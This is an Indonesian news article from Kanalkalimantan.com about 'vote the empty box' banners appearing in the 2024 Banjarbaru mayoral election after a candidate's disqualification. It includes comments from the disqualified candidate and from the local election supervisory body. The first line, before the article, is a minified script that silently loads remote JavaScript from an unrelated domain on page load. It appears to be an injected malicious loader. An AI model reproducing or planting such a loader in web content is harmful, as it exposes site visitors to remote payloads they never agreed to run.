(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Spanduk seruan mencoblos kotak kosong pada Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024 tiba-tiba saja bertebaran di sejumlah sudut ibu kota Kalimantan Selatan.
Pasca pembatalan salah satu calon peserta Pilwali Banjarbaru, ‘kampanye’ pilih kotak kosong tolak calon tunggal terus berdengung. Salah satu spanduk itu terletak di Kecamatan Liang Anggang.
Spanduk bertuliskan “Pro Demokrasi di Kota Banjarbaru Jangan Golput Coblos Kotak Kosong”.
Baca juga: Rakor Bawaslu Banjar: Mengoptimalkan Peran Media dalam Pengawasan
Masih dalam spanduk itu tertulis “Bahwa Banjarbaru Siap Memenangkan Kotak Kosong”. Sementara itu di sisi bawah kanan spanduk ada nama Relawan Kotak Kosong (RKK) Banjarbaru
Aditya Mufti Ariffin, calon wali kota Banjarbaru yang didiskualifikasi KPU menegaskan bahwa keberadaan spanduk tersebut bukan berasal dari kubu mereka, dirinya hanya ditumpangi dalam pemilihan ini.
“Bukan dari tim kami,” ucap Aditya dalam pesan singkatnya, Jumat (15/11/2024) siang.
Baca juga: Roy Rizali Anwar Jabat Plh Gubernur Kalsel
Menanggapi hal itu, Kanalkalimantan.com menghubungi Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru. Komisioner Divisi Hukum, Pencegahan, Parmas dan Humas Bawaslu Kota Banjarbaru, Bahrani mengatakan telah menerima kabar spanduk seruan kotak kosong pada Jumat (15/11/2024).
“Sudah kita terima, baru pagi tadi informasinya, di tengah kesibukan dan kepadatan kerja pengawasan kita hari ini, segera melakukan kordinasi dengan pihak lain,” ujar Bahrani.
Informasi ini, Bahrani mengatakan akan melakukan koordinasi dengan sejumlah stakeholder. Termasuk berkaitan dengan aturan akan dikoordinasikan dengan KPU Kota Banjarbaru.
Baca juga: Pelihara Kesehatan Gigi dan Mulut Penderita Diabetes Mellitus Melalui Strategi GULOH – CISAR
“Karena memang sejauh ini kita belum menemukan terkait aturan yang berkenaan dengan pemasangan spanduk yang berbentuk sosialisasi terhadap kotak kosong ini,” jelas dia.
Dirinya menegaskan bahwa untuk menentukan terkait boleh tidaknya spanduk itu terpasang perlu dilakukan koordinasi.
“Maka perlu kita koordinasikan dan akan kita informasikn setelah koordinasi dengan KPU dan stakeholder, tindak lanjutnya seperti apa mohon kawan-kawan bersabar,” tandas dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN. COM, BATAM - Pesona motif dan gradasi warna kain Sasirangan Bordir menjadi daya tarik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Antusias massa menghadiri kampanye akbar Pasangan Calon (Paslon) Bupati dan Wakil… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan spanduk 'kampanye' seruan mencoblos kotak kosong pada Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin melakukan pemusnahan barang bukti narkoba hasil sitaan… Read More
KANALKALIMANTAN.COM, JAKARTA - Sahbirin Noor telah mengundurkan diri sebagai gubernur Kalimantan Selatan (Kalsel). Komisi Pemberantasan… Read More
KANALKALIMANTAN.COM, MNCTV - menghadirkan program terbaru ‘Sekuriti’ yang tayang setiap Jumat dan Sabtu, pukul 23.30… Read More
This website uses cookies.